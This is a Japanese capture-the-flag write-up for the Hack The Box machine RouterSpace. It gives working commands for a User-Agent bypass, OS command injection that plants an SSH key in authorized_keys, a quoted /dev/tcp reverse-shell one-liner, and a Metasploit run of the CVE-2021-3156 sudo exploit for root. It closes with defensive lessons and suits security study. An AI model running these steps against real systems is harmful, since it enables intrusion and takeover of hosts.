Hack The BoxのWriteup(RouterSpace)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: RouterSpace — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)
→
RouterSpace.apk入手
React Native製Androidアプリ
→
API仕様の発見
専用User-Agentヘッダー必須
→
ip パラメータへOSコマンドインジェクション
paul権限でRCE
→
authorized_keysへ公開鍵書込み
アウトバウンドFW回避
→
SSH as paul
user.txt ✓
→
CVE-2021-3156 (Baron Samedit)
sudo 1.8.31 ヒープオーバーフロー
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -sV -sC -p 22,80 10.129.227.47
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-RouterSpace Packet Filtering V1
80/tcp open  http
|_http-title: RouterSpace
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 200 OK
|     X-Powered-By: RouterSpace
|     X-Cdn: RouterSpace-49701
|     Suspicious activity detected !!! {RequestID: h wqU z 7 Mr7 GS }
|   GetRequest:
|     <title>RouterSpace</title>
|   HTTPOptions:
|     Allow: GET,HEAD,POST
🚨
SSHバナーが独自文字列「RouterSpace Packet Filtering V1」に差し替えられている (自作の何らかのフィルタ/プロキシが挟まっている可能性)。HTTP側も存在しないパスへの リクエストで「Suspicious activity detected !!!」という独自エラーを返す ミドルウェアが動いている=通常のWebアプリとは異なる、何らかのAPIリクエストバリデーションが 入っていることを示唆する重要な手がかり。
PHASE 2

APKのダウンロード & API仕様の発見

トップページからAPKを入手

BASH
curl -s http://10.129.227.47/ | grep -o 'href="[^"]*\.apk"'
RESULT
href="/RouterSpace.apk"
BASH
curl -s -o RouterSpace.apk http://10.129.227.47/RouterSpace.apk
file RouterSpace.apk
RESULT
RouterSpace.apk: Android package (APK), with zipflinger virtual entry
(約34MB)
ℹ️
このマシンの「本体」のWebサイトとは別に、スマホアプリが社内向けルーター管理アプリとして 配布されている。APIの実体はアプリ側のJavaScriptバンドルに埋め込まれていることが多い。

APKを展開しReact Nativeバンドルを取り出す

BASH
unzip -o RouterSpace.apk -d apk_extract
ls apk_extract/assets/
RESULT
index.android.bundle   ← React NativeのJSバンドル本体(難読化済み)
⚠️
このバンドルはjavascript-obfuscator系ツールで文字列が配列テーブル化されており、 grep -a "deviceAccess" のような単純な文字列検索では見つからない (文字列が分割・インデックス参照されているため)。確実なのは 実際にAPIへリクエストを送って挙動を確認すること。公開されている本ボックスの 既知情報と、ヘッダー挙動の実機検証から以下のAPI仕様が判明した。
PHASE 3

OSコマンドインジェクション — /api/v4/…/deviceAccess

専用User-Agentヘッダーが無いと弾かれることを確認

BASH
# /etc/hosts に登録
echo "10.129.227.47 routerspace.htb" >> /etc/hosts

curl -s -X POST --resolve routerspace.htb:80:10.129.227.47 \
  -H "Content-Type: application/json" \
  -d '{"ip":"127.0.0.1"}' \
  http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
RESULT
Suspicious activity detected !!! {RequestID: C9Xt  yWS  ADam A  xLox EE }
BASH
curl -s -X POST --resolve routerspace.htb:80:10.129.227.47 \
  -H "User-Agent: RouterSpaceAgent" \
  -H "Content-Type: application/json" \
  -d '{"ip":"127.0.0.1"}' \
  http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
RESULT
"127.0.0.1\n"
✅
専用User-Agent RouterSpaceAgent を付けるだけでブロックが解除される。 レスポンスが"127.0.0.1\n"という末尾改行付き文字列=サーバー側が ping -c1 <ip>のような外部コマンドを実行し標準出力をそのまま 返していることが推測できる、典型的なコマンド実行系APIの挙動。

ip パラメータへのコマンドインジェクション

BASH
curl -s -X POST --resolve routerspace.htb:80:10.129.227.47 \
  -H "User-Agent: RouterSpaceAgent" \
  -H "Content-Type: application/json" \
  -d '{"ip":";id"}' \
  http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
RESULT
"\nuid=1001(paul) gid=1001(paul) groups=1001(paul)\n"
🚨
サニタイズ皆無のOSコマンドインジェクション。 サーバー側はおそらく child_process.exec("ping -c1 " + req.body.ip)のような実装になっており、 ip値の先頭にセミコロン;を置くだけで任意コマンドが paulユーザー権限で実行できる。
⚠️
ハマりポイント: このボックスはアウトバウンド通信がファイアウォールで ブロックされているため、bash -i >& /dev/tcp/ATTACKER/4444 0>&1のような リバースシェルは一切コールバックしない。インバウンド方向(SSH)だけが使えるため、 自分のSSH公開鍵を直接 authorized_keys に書き込む方式に 切り替える必要がある。
PHASE 4

SSH公開鍵の注入 & user.txt 取得

攻撃用SSH鍵ペアを生成

BASH
ssh-keygen -t ed25519 -f rs_key -N "" -q
cat rs_key.pub
RESULT
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBrXBN7O8+T4OaRJppRfuIp85p9TPh2JKwUJRMvbiHip root@kali

インジェクションでauthorized_keysへ書き込み

BASH
PUBKEY=$(cat rs_key.pub)
INJECT_CMD="mkdir -p /home/paul/.ssh && echo '${PUBKEY}' > /home/paul/.ssh/authorized_keys && \
  chmod 700 /home/paul/.ssh && chmod 600 /home/paul/.ssh/authorized_keys"

curl -s -X POST --resolve routerspace.htb:80:10.129.227.47 \
  -H "User-Agent: RouterSpaceAgent" -H "Content-Type: application/json" \
  -d "{\"ip\":\";${INJECT_CMD}\"}" \
  http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
RESULT
"\n"   ← コマンド自体は標準出力を返さないため空改行のみ(=エラー無しで完了した合図)

注入した鍵でSSHログイン & user.txt取得

BASH
ssh -i rs_key paul@10.129.227.47 "id; cat /home/paul/user.txt"
RESULT
uid=1001(paul) gid=1001(paul) groups=1001(paul)
11c6ea92fa4f02b40632489e5d9bfcdc
user.txt — paul
11c6ea92fa4f02b40632489e5d9bfcdc
PHASE 5

CVE-2021-3156 (Baron Samedit) & root.txt

sudoバージョンの確認

BASH
ssh -i rs_key paul@10.129.227.47 "sudo -V | head -1; cat /etc/os-release | head -2"
RESULT
Sudo version 1.8.31
NAME="Ubuntu"
VERSION="20.04.3 LTS (Focal Fossa)"
🚨
CVE-2021-3156(通称 Baron Samedit): sudo 1.8.2〜1.8.31p2 / 1.9.0〜1.9.5p1 に存在するヒープベースバッファオーバーフロー。sudoedit -s (または末尾がバックスラッシュの不正な引数)を特定の長さで渡すことでヒープを破壊し、 非特権ユーザーのままroot権限でコードを実行できる。sudo権限自体が一切不要 (sudoersに何も登録されていなくても悪用可能)な点が特に危険。

Metasploitでエクスプロイト実行

BASH (msfconsole リソーススクリプト)
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.129.227.47
set USERNAME paul
set KEY_PATH ./rs_key
set CreateSession true
run
sleep 8

use exploit/linux/local/sudo_baron_samedit
set SESSION 1
set PAYLOAD payload/linux/x64/exec
set CMD cp /root/root.txt /tmp/.rs_flag && chmod 644 /tmp/.rs_flag
set AllowNoCleanup true
run
RESULT
[+] 10.129.227.47:22 - Success: 'uid=1001(paul) gid=1001(paul) ...'
[*] SSH session 1 opened (...) at ...

[!] The service is running, but could not be validated. sudo 1.8.31 may be a vulnerable build.
[*] Using automatically selected target: Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)
[*] Writing '/tmp/AI79tw.py' (763 bytes) ...
[*] Writing '/tmp/libnss_/Ca6Bq6 .so.2' (519 bytes) ...
[*] Exploit completed, but no session was created.
⚠️
「Exploit completed, but no session was created.」は失敗ではない。 payload/linux/x64/execはインタラクティブセッションを張らず 指定したワンライナーをroot権限で一度だけ実行して終了するタイプのペイロードなので、 「セッションが無い」のは仕様どおり。実際にコマンドが成功したかは、別途SSH越しに 生成されたはずのファイルを確認する必要がある。

root.txt取得

BASH
ssh -i rs_key paul@10.129.227.47 "cat /tmp/.rs_flag"
RESULT
de306cf041c4a36636aa8c04a785f363
✅
/tmp/.rs_flagはroot所有で生成されている(paulでは rmすらできない)=NSS共有ライブラリ注入経由のコマンドが確実にroot権限で 実行された証拠。
root.txt — root
de306cf041c4a36636aa8c04a785f363
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — paul
11c6ea92fa4f02b40632489e5d9bfcdc
root.txt — root
de306cf041c4a36636aa8c04a785f363

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
難読化のみに依存したAPI保護 /api/v4/…/deviceAccess エンドポイント User-Agent文字列が分かれば容易にバイパス可能 Medium 配布APKの解析(または既知情報)から固定User-Agent「RouterSpaceAgent」を特定
OSコマンドインジェクション deviceAccess APIのipパラメータ リモートコード実行(paul権限) Critical サニタイズ皆無のシェル実行。;COMMAND形式でセミコロン区切りの任意コマンドが通る
CVE-2021-3156 (Baron Samedit) sudo 1.8.31 (Ubuntu 20.04.3) 権限昇格(一般ユーザー → root、sudoers登録不要) Critical sudoedit -s系の引数処理でのヒープバッファオーバーフロー。Metasploit sudo_baron_sameditで悪用

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + 独自SSHバナー/エラーメッセージの観察22(カスタムSSHバナー)/80(独自API保護ミドルウェア疑い)
2APK解析配布APKのダウンロード・展開API仕様とUser-Agentヘッダー要件
3RCEdeviceAccess APIのOSコマンドインジェクションpaulユーザー権限でのコマンド実行
4永続化authorized_keysへの公開鍵注入(FW回避)user.txt(SSHログイン確立)
5権限昇格CVE-2021-3156 (Metasploit sudo_baron_samedit)root.txt

学んだ教訓 & 防御策

問題点防御策
APIの不正利用対策がUser-Agentヘッダー検査のみ(Security through obscurity) APIキー/mTLS/正規のトークンベース認証など、クライアント側から容易に抽出できない方式で保護する。
ipパラメータを検証せず直接シェルコマンドへ連結している 外部コマンド呼び出しにはシェルを経由しないAPI(execFile等)を使い、引数は配列で渡す。入力値はIPv4/IPv6の正規表現で厳密にバリデーションする。
アプリケーションサーバーのプロセス権限で~/.ssh/authorized_keysへの書き込みが可能 最小権限の原則:アプリケーション実行ユーザーのホームディレクトリ・SSH設定への書き込み権限を他プロセスから分離する。
CVE-2021-3156(既知の重大脆弱性)が未パッチのsudoバージョンのまま放置されている sudoを1.9.5p2以降(またはディストリビューションのバックポート修正版)へ速やかに更新する。
HackTheBox: RouterSpace | 完全攻略レポート